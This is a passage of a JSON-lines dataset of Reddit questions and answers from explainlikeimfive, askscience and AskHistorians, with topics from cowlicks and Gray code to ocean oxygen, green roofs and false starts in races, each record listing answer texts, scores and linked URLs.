droops and straightens when wet, along with the weight of the water holding it down.", "It's just a section of your hair that wants to grow in a curly/different direction, therefore sticks up no matter what. It's grown like that. Like there's nothing you can do. \nI'm a girl with short hair and didn't have a cowlick until I cut my hair short, interestingly enough.", "as non-native English speaker I had to read quite a bit before I got what the hell OP was talking about. ", "When you wet the hair, youre reforming the peptide bonds(what gives your hair its shape) . And when you blowdry it, you are giving it a different shape. Just like curling or straightening it. Wetting down your hair is putting it back to the original form (Im a hairdresser. I deal with this all day)", "Your hair just literally grows in different directions. All you can really do is have it grow out to a point where it lays flat. Like of course you can use product to weigh it down but you pretty much gotta let gravity take care of that shit ", "This whole time i thought it was calick cause thats the way we say it were im from", "Well just walk away from the cow", "You should consult a physician if your cowlick lasts more than 4 hours.", "This is too kinky for me.", "This is actually an interesting problem referred to by topoligists as the \"[Hairy Ball Theorem](_URL_0_)\" (no, I am not making this up) which basically boils down to \"you can't comb a hairy ball flat without creating a cowlick.\" I'm not an expert like /u/ringo5ar but this theorem actually turns out to be relevant in a whole host of areas, like computer graphics. Maybe not exactly the answer you were looking for but, well, there it is. ", "It's called hairectile dysfunction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://higheredbcs.wiley.com/legacy/college/pratt/0471393878/tours/keratin_collagen/images/init_image_keratin.jpg"], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Hairy_ball_theorem"], []]}
{"q_id": "95nijw", "title": "it once took me 6 hours to create a single 3d screw. how do video game designers create thousands of intricate worlds, objects, and animations so quickly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95nijw/eli5_it_once_took_me_6_hours_to_create_a_single/", "answers": {"a_id": ["e3tzot4", "e3tztrf", "e3tzxkn", "e3u11iz", "e3u36tf", "e3u4a9l", "e3u4qy6"], "score": [24, 12, 4, 5, 3, 3, 3], "text": ["They work in teams, not alone, and they have lots of practice behind them. Your screw may have take 6 hours, and is no small feat, but if you're making tons and tons of these sorts of objects you do get creation of them with practice. ", "Lots of practice for starters. You say it took you 6 hours? How long do you think it would take you to do the next one? Then the next one? Every time something doesn\u2019t go quite right, you learn something and get better and more efficient.\n\nThey also have access to whatever programs they need to make it happen, and super nice computers to handle it all.\n\nThey\u2019re also a team of people - depending upon the company it could be hundreds of people, whereas you\u2019re just you.", "Most assets in video games or 3D movies will come from libraries rather than being custom made, e.g\n\n_URL_0_", "Part of it is practice; they know what they want to build/design/create, and have used the software to do it for a while.  They know all the hotkeys and keyboard shortcuts to do stuff very quickly.\n\nAnother part of it is the relative amount of detail.  Your 3D screw probably had individual threads in the polygons, but for a video game that amount of detail wouldn't really be necessary - they could make a simple 3D screw out of a cylinder with a few easy tweaks, and work with a texture artist (if they aren't doing the texture themselves) to put threads on it - bonus points for normal maps to give the threads depth on an otherwise flat surface.\n\nWith creating worlds/objects, they'll often design  &  build a *ton* of similar assets, and plop them somewhere in the game world.  There's a reason why Skyrim has a lot of the \"same\" look in places - they're not going to design a ton of different wheel barrows when one or two \"functional\" ones and a few different \"ruined\" ones to use when building an area.\n\nAnimations are a bit different but come down to much of the same idea; practice  &  using the same animation for multiple instances.  Looking at Skyrim again, they only had to make a few \"sword swing\" animations that pretty much every human enemy uses when swinging a sword - instead of having the big muscular humans swing differently than the scrawny ones, or a warrior swinging differently than an archer.", "Were you making a screw for an engineering class?  Engineering designs require more detail and specificity than most game objects.", "Massive teams, sometimes millions of dollars, and most of the complex things are just made out of other premade things", "A lot of practice and just knowing how to use your tools, I'm like you, I've made screws in CAD programs and 6hours is about what it took me.\n\nBut there are two issues, one, that's CAD, not CGI i'm entering sizes and dimensions and angles.\n\nI also had a friend who had an art degree and had formal training with Maya, so at least a few years experience with it. And I still remember what he did when we tested a new video card. It took him about 3 minutes to make a make a face, he then tested out animation by making stick figure and over the course of 5 minutes animated it walking. Then he simulated a thousand  dropping and flying and bouncing, again, something like 5 minutes to do.\n\nThe fact is when you know how to use tools like Maya, making a model is about as fast as painting. That is you can make a smiley face in 30 seconds, but a finished product you sell might be a few days work. Video game developers have multiple people with skills doing this, and also heavily use copy/pasting. So they might spend 2 weeks 30 models of trees, and the maps can have 1 million trees, but it's just a script that took a day to write that placed the trees in reasonable locations using the 30 models."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://3dwarehouse.sketchup.com/search/?q=screw&amp;searchTab=model"], [], [], [], []]}
{"q_id": "5ub9i2", "title": "how can oceanic dissolved oxygen decline if an increase in gas temperature usually means increase in dissolved oxygen?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5ub9i2/how_can_oceanic_dissolved_oxygen_decline_if_an/", "answers": {"a_id": ["ddsr1bc", "ddt6myd"], "score": [24, 83], "text": ["I assume your question asks about why the oxygen concentration decreases with depth in the ocean.  If not, please clarify.\n\nAtmospheric oxygen equilibrates with the ocean at the seawater/atmosphere interface.  Whatever temperature and pressure are for a given water mass is when it is at the surface defines its starting oxygen concentration.  If the water then cools and becomes more dense it sinks.  It does not increase in oxygen concentration since there is no source of additional oxygen.\n\nOxygen is consumed by biological processes, i.e respiration.  As organic matter is metabolized it consumes oxygen.  Organic matter falls through the water column and as it is consumed it must use oxygen whether the consumer is a microorganism or other heterotroph.\n\n\nTherefore, as you get deeper, the \"older\" water, that is water that has been away from the surface longer, decreases in oxygen concentration.  In fact, when there is abundant surface productivity raining down organic matter it can drive the oxygen concentration all the way to zero, creating so-called \"dead zones\".\n\n[Apparent Oxygen Utilization](_URL_1_) is a handy tool to measure productivity.\n\n > In freshwater or marine systems Apparent Oxygen Utilization (AOU) is the difference between the measured dissolved oxygen concentration and its equilibrium saturation concentration in water with the same physical and chemical properties. Such differences typically occur when biological activity acts to change the ambient concentration of oxygen. For example, primary production liberates oxygen and increases its concentration, while respiration consumes it and decreases its concentration.\n\n > Consequently, the AOU of a water sample represents the sum of the biological activity that the sample has experienced since it was last in equilibrium with the atmosphere. In shallow water systems (e.g. lakes), the full water column is generally in close contact with the atmosphere, so oxygen concentrations are typically close to saturation: AOU values are low. In deep water systems (e.g. oceans), water can be out of contact with the atmosphere for extremely long periods of time (years, decades, centuries) and large AOU values are possible.\n\nedit: OK!  so, I went to r/science *after* reading r/askscience questions.  I now assume your question relates to this post: _URL_0_  \n\nIn any case, the answer is well provided there: as the ocean warms the water can dissolve less oxygen:\n\n > Ocean models predict a decline in the dissolved oxygen inventory of the global ocean of one to seven per cent by the year 2100, caused by a combination of a warming-induced decline in oxygen solubility and reduced ventilation of the deep ocean.\n\n", "Basically you assume oxygen has higher solubility in water as temperature increases but, unlike solids like salt or sugar, gases are much less soluble at higher temperatures. De-gassing water to prevent corrosion or make very clear ice is done by repeatedly boiling and cooling water. So yeah : higher temperatures = less oxygen in water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/science/comments/5u9cr3/new_study_has_detected_a_decline_in_the_amount_of/", "https://www.bco-dmo.org/parameter/527499"], []]}
{"q_id": "289vlf", "title": "Can we train EVERY SINGLE muscle in our body?", "selftext": "I mean, we often go to the gym to make our body look stronger and better by training your \"main\" muscles, but the thing is, since our whole body is covered my muscle, can we train every single one of those muscles?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/289vlf/can_we_train_every_single_muscle_in_our_body/", "answers": {"a_id": ["ci8v21h", "ci8v4mj"], "score": [6, 23], "text": ["In short, yes.\n\nThe thing is, you need to understand the exact actions of each muscle in detail, I.e. Deltoideus are abductors, but so is supraspinatus. In order to exercise supraspinatus you need to focus your training on the first 10% of upper limb elavation. \n\nAll you need then is to design exercise that target each muscle by its action.", "It's worth clarifying here, that there are 3 types of muscle within the human body, *skeletal*, *smooth* and *cardiac*. Smooth muscle is entirely autonomous and is found around blood vessels, your gut, your airways etc. Cardiac muscle is what the contractile parts of your heart is composed of. I'm going to assume here that you're talking about skeletal muscle (ie, the parts you can control voluntarily, and which you use to move your limbs/body around).\n\nSkeletal muscle has 3 main sub types (there are more though): Type I (slow), Type IIa (intermediate) and Type IIx (fast). Fast muscle is the strongest, contracts the fastest, but has a lot less \"endurance\". Slow type on the other hand is less powerful, slower, but much harder to fatigue. Intermediate is, unsurprisingly, inbetween. Your main muscle groups are usually composed of a mixture of the 3, with the exact proportions tending to vary from person to person. \n\nThis is important, as it is possible to make a loose distinction of the gross muscle groups between *postural* and *phasic* muscles. Phasic muscles are often larger and more powerful, and tend to be the ones targeted in a lot of gym routines (eg, your biceps, pecs). They're also more likely to be Type II. Your postural muscles however are required to hold you up when you're standing, or keep your back straight when sitting; they are constantly working (and hence have a higher proportion of Type I).\n\nHaving said that, all skeletal muscle will undergo a very similar pattern of damage-repair-growth if it is exercised. When you \"train\" a muscle, the force on the contractile proteins within each muscle fibre is transferred to the nucleus through *mechanotransduction*, and there is an upregulation of proteins associated with muscle growth. *Eccentric* contractions, where the muscle lengthens whilst exerting force (more powerful / more likely to cause injury), also tend to result in muscle damage. The corresponding chemical releases, in conjunction with hormones such as insulin-like growth factor and other steroids, also serve to upregulate protein production.\n\nThese processes are largely the same in both postural and phasic muscle, however the location and nature of phasic muscle makes it much harder to target exclusively in exercise. For example, the soleus muscle, vital for keeping you standing (and largely Type I), is acting on the same tendons as the gastrocnemius (which you are more likely to engage during calf exercises) ([image](_URL_0_)).\n\nQuickly, cardiac muscle will also undergo hypertrophy (growth) if it is working harder. This isn't necessarily a good thing though, and can cause serious health issues. I've not come across any linkage between smooth muscle usage and hypertrophy, but there may be one. Certainly, the smooth muscle in bronchi (airways) of people with asthma is significantly larger than in non-asthmatics, which is a major contributor to the pathology."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.google.com.au/imgres?imgurl=http%3A%2F%2Fwww.docpods.com%2Fimages%2FFootPain%2Fcalf-muscle.gif&amp;imgrefurl=http%3A%2F%2Fwww.docpods.com%2Fsoleus-muscle&amp;h=493&amp;w=591&amp;tbnid=xlAZ1zxMbt-MFM%3A&amp;zoom=1&amp;docid=g0KdEDWfvhqU1M&amp;ei=oPGeU8fdNcGakgXrtIG4Dw&amp;tbm=isch&amp;ved=0CCsQMygBMAE&amp;iact=rc&amp;uact=3&amp;dur=520&amp;page=1&amp;start=0&amp;ndsp=15"]]}
{"q_id": "17zm7l", "title": "what's the difference between \"sarcastic\" and \"facetious\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17zm7l/eli5_whats_the_difference_between_sarcastic_and/", "answers": {"a_id": ["c8a9nlj", "c8ab1oh", "c8admgc", "c8adnv6", "c8ae2gh", "c8aetuz"], "score": [9, 12, 11, 7, 15, 2], "text": ["Their meanings end up being pretty close and really the only reason we have both is that the root of facetious is from French while sarcastic comes to use from greek through latin.   The best way to describe might be thus:   You see a guy in a convertible whistling and cat-calling some ladies on the side walk.   You can make the facetious comment that he is acting like a dog, or you can make the sarcastic comment that he is acting like an angel", "'Facetiously' is the only word I know that uses all the vowels in alphabetical order.", "Sarcastic - Saying something that you don't literally mean in a mocking or attacking way. \n\nFacetious - Saying something that you don't literally mean in a joking way. \n\nExample of sarcasm: A semi trailer gets stuck under a bridge. Passerby says \"What happened? Was your trailer too tall for the bridge?\" Driver replies \"Nope, I was hauling the bridge and it got caught on those two banks\"\n\nExample of facetious: Same situation. Passerby states \"Man, they should really be aware of people hauling bridges around!\"", "Sarcasm is when you say the opposite of what you mean for humorous intent, often to mock the listener.\n\nBeing facetious is saying something that is untrue for humorous intent.", "Let me add in sardonic while we're at this:\n\nFacetious - humor\n\nSarcastic - criticism\n\nSardonic - bitter\n\nThat's what each primarily conveys.", "Would someone mind including snarky?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "f1su95", "title": "why is baking soda called \"bicarbonate of soda\" when the formula is nahco3 (only one carbon)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f1su95/eli5_why_is_baking_soda_called_bicarbonate_of/", "answers": {"a_id": ["fh86ax1"], "score": [55], "text": ["It's really old nomenclature. Bi means twice. So sodium bicarb has twice the carbonate ratio to sodium, compared to sodium carbonate (Na2CO3).\n\nIt's a horrible naming system, it's changed now, but nomenclature is very difficult to change, most especially amongst chemists, so most people still use sodium bicarb. Official modern name is hydrogen carbonate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8pbq6w", "title": "Why are negative integer factorials like (-3)! undefined while rational numbers like (-3,5)! are?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8pbq6w/why_are_negative_integer_factorials_like_3/", "answers": {"a_id": ["e0a0ksp", "e0dlkea"], "score": [13, 6], "text": ["You may want to have a look at the gamma function [1], which is the generalisation of the factorials to any number (except negative integers). The generalisation is done through what is known as analytic continuation and this procedure is unique in a sense, meaning that the function you get does behave like that for negative integers. For some deeper meaning as to why, someone else have to answer.\n\n[1]\n_URL_0_", "There is also a more intuitive answer than resorting to the full Gamma function.\n\nYou see, (n+1)!=(n+1)*n! by definition. Or, written differently,\n\n(n+1)!/(n+1) = n!\n\nIf we set n to -1, we see that 0!/0 is undefined/singular. If we use n=-2, we get (-1)!/-1 =(-2)! but we know that (-1)! is singular, so (-2)! is, too. And so on. However, the recursive formula only gives you trouble if you actually hit zero at some point, so rational numbers are ok.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Gamma_function"], []]}
{"q_id": "41e68k", "title": "gray-code", "selftext": "The [wikipedia article](_URL_0_) might aswell be chinese because I dont understand a bit. Most other sources also are not explaining it well enough for a simple guy like me to understand. Please help me, Eli5 people.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41e68k/eli5graycode/", "answers": {"a_id": ["cz1m911", "cz1n2t8"], "score": [10, 3], "text": ["Let's say you have a motor and you want to be able to measure what position its shaft is in.  One way you can do this is by putting a disc on the shaft that is half white and half black, then you put a stationary light detector on it.  As it turns from white to black and back to white you can tell that it's made a revolution (provided you know it never changed direction).\n\nThat's really coarse, though.  Perhaps you want to know the position down to 3.6 degrees (1/100 of a circle), so you make a new disk that alternates color 100 times (50 each of black and white) and attach that one instead.\n\nBut this doesn't tell you anything about which direction the wheel is spinning.  Going forward and backward is just black-white-black-white, etc (or 0, 1, 0, 1, which I'll use from here on out).  So you put two separate tracks on the disc, at slightly different radii.  Knowing binary, you have these two tracks run through binary counting:  00, 01, 10, 11, etc.  You can tell which direction the motor is spinning by watching to see which number it moves from and to:  00 to 01 means that you're going forward, while 00 to 11 means you're going backwards.\n\nThen you decide that you want to be able to tell the absolute position of the motor shaft at each point\u2014no more repetition of values as you move around the circle.  This is easy enough:  you assign a binary number to each segment.  To keep things nice, you choose a 8-bit encoder so you can represent the numbers from 0 to 255, which means that each segment is a little more than a degree wide.\n\nThis is where Gray-Codes come in.  As you move around the circle in this example you notice something:  lots of bits change at once.  As you go from 01111111 to 10000000, for example, all 8 bits change over the course of that line.  This is prone to errors.  You have to have 8 individual sensors (likely bundled together in the same package, but still 8 sensors) to read this encoder and if it's off by just a little bit then you can read *very* wrong positions.  Also, you generally cannot read all 8 sensors at exactly the same time so if the motor is rotating, as motors often do, then you may read the first half of the position then the position changes and you read the second half of another position.\n\nWith the 01111111 to 10000000 example this could be disastrous.  The first position is position number 127 while the second is 128.  If the read error made you see 11111111 (i.e. you just got the first bit off of the second number, but everything else is from the first) then you just measured position 255, which is as wrong as you can be.\n\nGray codes address this problem by representing the same set of numbers (e.g. 0 - 255) with the same bit strings (e.g. 00000000 to 11111111) but in a different order, with the constraint that adjacent numbers should be represented by bit strings that differ by only one bit.  For our 2-bit encoder instead of 00, 01, 10, 11, 00, etc., where you have both bits change from 01 to 10 and from 11 to 00 we would instead use 00, 01, 11, 10, 00.  Notice how in this setup our rule is satisfied: every number only differs by one bit from the numbers to either side.\n\nIf we used a gray code for an 8-bit encoder then it's more tedious to write out all of the values, but if we do the same thing as above and we mis-read a position by mixing two adjacent positions then we will always wind up reading that position as just being one of the two that we read since the two values are guaranteed to be identical except for one bit, so whichever position (of the two we're in between) we read that bit for is the one we report. ", "Normal binary goes like this:\n\n    0  000\n    1  001\n    2  010\n    3  011\n    4  100\n\nThis presents a problem as you count upwards.  To go from 3 to 4, you have to change three binary values at once.  If someone tried to read that value while you were halfway through changing it, they could get an erroneous result.\n\nThe Gray Code goes like:\n\n    0  000\n    1  001\n    2  011\n    3  010\n    4  110\n\nEach step upwards, you only change one digit.  This makes reading the value more resistant to errors.  This is particularly when representing binary information with mechanical devices. "]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Gray_code"], "answers_urls": [[], []]}
{"q_id": "6qevfh", "title": "Why don't Christians use the chi-rho sign to represent their faith anymore and when did it the symbol become unpopular? \u2627", "selftext": "I hope I don't offend any Christians with this question but I was just wondering why the chi-rho isn't used anymore \u2627 . It seems like a better symbol to represent the religion than the cross as it doesn't glorify the crucifying of Christ. When exactly did they stop using the chi-rho?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6qevfh/why_dont_christians_use_the_chirho_sign_to/", "answers": {"a_id": ["dkx7hw6"], "score": [36], "text": ["I'm afraid I don't have much of an answer to the historical question (just speculation, nothing sourced), except to say that the chi-rho is not completely out of use by Christians, though of course the cross is much more common. But as for a theological question:\n\n >  It seems like a better symbol to represent the religion than the cross as it doesn't glorify the crucifying of Christ.\n\nChristians have every reason to glorify the crucifying of Christ, for the importance that this holds in the whole story of salvation, and the necessity of Christ's atoning death to open the possibility of their salvation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2rcapg", "title": "why don't obviously successful game concepts like a pokemon mmo get made?", "selftext": "Or a Harry Potter MMORPG, or a 3rd-person Sims game... (console Sims 2 was close and is what got me thinking on this)\n\nIs it all just due to branding and licensing?  Not wanting to dilute the format of the brand or something, I imagine, although Pokemon already has games like Stadium which would do that...\n\nEdit: But games *like* these concepts would still be gold without the brand, for example the Pokemon could be done with any \"animals\" a la Far Cry a la [this](_URL_0_)\n\nEdit: I guess I'm specifically thinking 3rd-person or even 1st-person type games here\n\nHarry Potter MMORPG is a better example of what I'm trying to say than Pokemon, I'm realizing, but as gamers we all have [\"those ideas\"](_URL_1_) that genuinely seem like they'd be shoe-ins for success, so why are games with shaky concepts being made when there's many solid ones out there?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rcapg/eli5_why_dont_obviously_successful_game_concepts/", "answers": {"a_id": ["cnejbry", "cnelby5", "cnen9n6", "cnenccr", "cnenja1", "cneoz6r", "cneqph5"], "score": [16, 2, 5, 3, 2, 3, 2], "text": ["\"Obviously\" successful is really subjective.  Let's take your Pokemon MMO idea and talk about that, ignoring what other people say about there already being an MMO for Pokemon.  \n\nSo games are judged based on a few key things like storyline and gameplay.  In the case of a Pokemon MMO, what kind of gameplay should it have? If you say the same one as the Pokemon games (turn based, four moves per Pokemon, etc.). Then what incentive does a player have for buying BOTH the Pokemon games and a Pokemon MMO? Wouldn't it result it a LOSS of profits for their Pokemon games if players get bored with a Pokemon MMO with the EXACT SAME GAMEPLAY as their DS console games?  \n\nNow if you make the gameplay different, like make the battle system WoW-esque, how do you balance over 800 Pokemon? How do you deal with the different regions and how will it affect the storyline? Would people even play a Pokemon MMO where the gameplay is similar to skyrim/WoW? \n\nJust because you would play it doesn't mean other people would.  Battle pets in WoW is basically a simplified version of pokemon and I love Pokemon but I fucking hate everything about battle pets.  ", "There will never be something like that or any other \"perfect\" version of any game. If they would do something like that no game of the, would be sold afterwards, you domt need a second pokemon mmo or a second gta when the older one has everything you can think about", "Look at what happened with elder scrolls online. \nA lot of people really really wanted an elder scrolls mmo, skyrim with friends! What can go wrong?!  \nAs it turns out, the whole gameplay of TOS does not translate well to an mmo at all.  \nSkyrim has that sword+shield dual mouse button combat which works great,but add ping to a server and it becomes terribly unresponsive and hitting becomes impossible.  \nSkyrim lets you explore and find secrets.  \nElder Scrolls Online has 10 other players all standing at the secret entrance giving it away.  \nIn Skyrim YOU save the world!  \nIn ESO you save the world, as you watch 20 other people do the exact same thing that only a true hero can do.  \n\nWhat i mean to say is that if you transfer a game to another genre most of the old game mechanics will need to be removed or strongly altered.  \nA Pokemon MMORPG would need to be a *good* MMORPG first and a pokemon game second, otherwise you just become wow clone #2713 with a pokemon skin\n", "Because those ideas aren't as good as you think. For example a large portion of Harry Potter fans are not gamers and would not be interested. I am a gamer myself and a huge Potter fan and I would never play a Potter MMO. As for a 3rd person Sims game, what do you mean by that?", "Well its actually not so obvious as you think it is especially when it comes to mmo's. They think a lot of resources to make and maintain and many if not most fail. \n\nEven when you too in major brands like Pok\u00e9mon or Harry potter there is no grater of success so those types of games are very risky ventures ", "1. Demographics, the pokemon demo is different from the MMO demo\n\n\n2. The story, pokemon is very story centered, it's harder to tell a grand narrative of achievement in an MMO.\n\n\n3. Experience, pokemons family friendly image would be tarnished when a bunch of kids learn new swear words on their game\n\n\n4. Japanese business practices are very conservative, they don't practice much risk, on one hand it makes nintendo very resistant losses, the company is highly unlikely to go bankrupt in the near future. However it also mean sthey can get left behind and by putting all their eggs in one basket they are very vulnerable to be killed off by a generation or two of bad console sales. The cash haul from the Wii staved this off but with the loss of mobile revenue (smartphones have all but killed portable gaming), an area they traditionally dominated, and an uncertain future (wiiU sales aren't good) they could be in trouble. Lets be clear here, the Wii was a fluke.\n\n\n5. People are nostalgic, most of the people asking for a pokemon MMO would give up after 1 month. MMOs depend on people playing for months, years.", "A lot of people have pointed out that a lot of things arent good even if they sound good, but another very relevant factor is that it isnt enough for a game to just turn a profit. Games are very big projects, so you cant do too many of them at once. that means any potential game cannot just be profitable, it has to be more profitable than whatever game would be made instead. a pokemon mmo might be profitable, but would it be *more* profitable than another installment in the regular series? If the answer is no, do not pass go, do not collect $200"]}, "title_urls": [], "selftext_urls": ["http://www.dorkly.com/post/71127/what-far-cry-5-will-probably-be", "http://www.cracked.com/blog/the-7-best-ideas-video-games-that-will-never-get-made/"], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "42hkl3", "title": "if bacteria thrive in moist environments, why is it that we're more susceptible to tooth decay when we're asleep (when saliva production is at its lowest)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42hkl3/eli5_if_bacteria_thrive_in_moist_environments_why/", "answers": {"a_id": ["czacg2c", "czackyc"], "score": [2, 4], "text": ["Saliva helps remove food, which the bacteria are eating and producing acids via. You're most susceptible to decay during and after eating, while the bacteria are able to start pumping out a lot of unhelpful by-products. This is also why many dental techs recommend brushing before eating, to remove bacteria before they are exposed to food.", "Saliva has anti-bacterial properties that prevent the bacteria from forming cavities. When saliva production is low, the bacteria is free to thrive in your mouth.\n\nThe mouth itself is still a very optimal environment for bacteria since it is moistened by the surrounding tissues and heated by body temperature. If your mouth was actually dry, you'd feel it first in the surrounding tissues!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "60ytbh", "title": "What was the last country to recognize the United States sovereignty? When did they recognize it?", "selftext": "I understand Morocco is the first nation to recognize America as it's own sovereign country, but what was the last nation? I understand it's possible that there are nations that still do not recognize the United States (I'm not sure if there are) but what was the last one to do so?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/60ytbh/what_was_the_last_country_to_recognize_the_united/", "answers": {"a_id": ["dfany7z", "dfap67w", "dfaqgh8", "dfaucp0", "dfb3td6"], "score": [445, 281, 568, 52, 7], "text": ["Also, why was Morocco the first to recognise the United States?", "Not surprisingly, most of the most recent nations to start formal relations with the US are nations that came into existence only recently. There are some others (like Monaco) that have had dealings with the US for a long time but have historically been too small to bother sending an actual ambassador. Cuba very recently reestablished relations with the US, but had had them before its revolution. And there are in fact some countries that currently do not recognize and have never recognized the US: the most obvious is North Korea.\n\nIgnoring these cases (which I don't think meet your criteria) the best example is probably either Mongolia (with whom relations were established in 1988) or Vietnam (1995). Vietnam is more recent, but if you consider it a partial successor to South Vietnam then obviously that country recognized the US.", "Perhaps a better question might be: Of nations contemporary to the American Revolution, which was the last to recognize the US?\n\nThat would avoid the simple answer of whichever splinter state most recently appeared (South Sudan, etc.).", "Wasn't it the State of Dubrovnik that first recognized the US?", "Did England hold off recognising the US   the most recent nations to start formal relations, is it?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ya2yz", "title": "How much good would it do to have plants (that need high amounts of CO2) put on the roof of every skyscraper in every city?", "selftext": "Right? Doesn't it seem like a somewhat simple solution to at least help a *little bit*?\n\nI know some plants require more CO2 than others, so why not use the ones that requier the most (or genetically modify ones to require excessive amounts) to put on the tops of skyscrapers and buildings to absord the absurd amounts emitted below...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ya2yz/how_much_good_would_it_do_to_have_plants_that/", "answers": {"a_id": ["c5tosum", "c5tp4yx", "c5tsu96", "c5tugnp"], "score": [2, 5, 2, 2], "text": ["I don't have information about efficacy, but [Green Roofs](_URL_0_) efforts are being made in a number of cities.", "When a plant removes one ton of carbon from the atmosphere, it it puts the carbon *into its own body* - the plant's body is *made* largely of carbon.\n\nSo what that means is: for a plant to absorb one ton of carbon, the plant must *gain* one ton of weight.  Each time it absorbs another ton of carbon, the plant gets at least one ton heavier (in practice, quite a bit more, because the plant contains water too).\n\nMany people think of plants as continuously consuming carbon from the atmosphere, but that's not exactly right - the plant is only consuming carbon when the plant is gaining weight.  If for any reason the plant loses weight - say, a branch rots away - then the plant is releasing carbon while it's losing weight.\n\nThe number of tons of carbon you could realistically store on a roof is pretty limited.\n\nIf you want to take carbon out of the atmosphere, what you would do is grow plants, then seal them away forever, making sure they don't ever rot (which releases them back into the atmosphere).  Then, grow more plants and seal them away too, and keep doing that until you've stored an awful lot of tons of plants.\n", "Something to consider is that in general, roofs aren't made to hold a great deal of weight. Usually it's just what they expect from wind/rain/etc., which isn't going to be much if drainage is proper. Greed roofs are *very* heavy, so unless you're going to rebuild roofs to support this new weight you'll be restricted in the percentage of roof that can support the plants.", "Let's try an order of magnitude calculation\n\nA tree sequesters something like ~[30 pounds of CO2 a year](_URL_1_)\n\nThere's something like [50,000 skyscrapers in the world](_URL_0_)\n\n\nI'm not sure how many trees you could fit on a sky scraper, but it's more than 1 and less than 100, so let's guess 30.\n\nSo 30x50,000x30 ~= 45,000,000 pounds of additional co2 sequestered per year\nThis doesn't account for co2 you may produce pumping water up a hundred flights or fertilizing the plants.\n\nHumans produce [65,900,000,000,000 pounds of co2 a year](_URL_3_) \n\nSo it would make up for some 0.000068% of annual co2 emissions\n\nThe increase in CO2 emissions annually can be something like [3%](_URL_2_)\n\nedit: And of course, as people have pointed out, at some point you fill up your skyscrapers and you have trees rotting or that otherwise need to be cleared and they start releasing CO2 back into the atmosphere. So you can only sequester so much till you've filled up all your skyscrapers and then you'll take no additional co2 out every year.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.greenroofs.org/"], [], [], ["http://skyscraperpage.com/", "http://www.plant-trees.org/resources/Calculating%20CO2%20Sequestration%20by%20Trees.pdf", "http://www.reuters.com/article/2012/07/19/us-emissions-global-idUSBRE86I0DG20120719", "http://en.wikipedia.org/wiki/List_of_countries_by_carbon_dioxide_emissions"]]}
{"q_id": "4s3o4p", "title": "Hey I'm a teen from ancient Rome looking for some acne remedies. Any historical writings on how to deal with my zits?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4s3o4p/hey_im_a_teen_from_ancient_rome_looking_for_some/", "answers": {"a_id": ["d56k1x2"], "score": [19], "text": ["Interestingly enough, ancient Rome had one of the first actual remedies available for the treatment of acne. During the Roman Empire, there are documented instances of Romans taking warm mineral baths with sulfur mixed in to treat acne. \n\nConsidering this got rid of bacteria, including the kind of bacteria that causes acne, it was pretty effective. Not to mention the sulfur would actually dry the skin preventing oils from building up in the pores, causing zits to pop up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3gwjgy", "title": "since false starts are a thing in races, is there a reason they don't employ a rhythmic countdown instead?", "selftext": "Like musicians", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gwjgy/eli5_since_false_starts_are_a_thing_in_races_is/", "answers": {"a_id": ["cu24fa0", "cu24ml5", "cu28z1q", "cu29b0a", "cu29b3p", "cu2adg0", "cu2alp2", "cu2au0v", "cu2b80i", "cu2bz6s", "cu2eu5d", "cu2fphq", "cu2gp7d", "cu2gr96", "cu2h7z9", "cu2hbm8", "cu2iefj", "cu2iowk", "cu2iyts", "cu2jxc1", "cu2lozn", "cu2rpub", "cu2wgyh"], "score": [2312, 354, 48, 46, 21, 68, 1632, 105, 2, 3, 38, 2, 2, 2, 2, 9, 2, 2, 3, 4, 3, 2, 9], "text": ["Music isn't a competition between band mates, but racing between racers is. Fast reaction to the start gun is part of that competition. Motorsport usually does use a form of countdown,  but reaction time is still important, vitally so in the case of drag racing. ", "The point of racing is to test every aspect of a racer's ability. One of those abilities is reaction time. If they used a rhythmic countdown, there would be no racing in the start.", "Why not have the racers break a light beam or something to start their individual race clock?  Fastest time wins.", "I've been running competitively since I was 12 (27 now), so here's what I think.  The official starter, the guy who shoots the starting gun, makes sure that everyone on the starting line is still, and nobody has their toes (for distance runners) or hands (for sprinters) over the line.  Their judgement makes sure that nobody gets an unfair head-start.  Once they deem 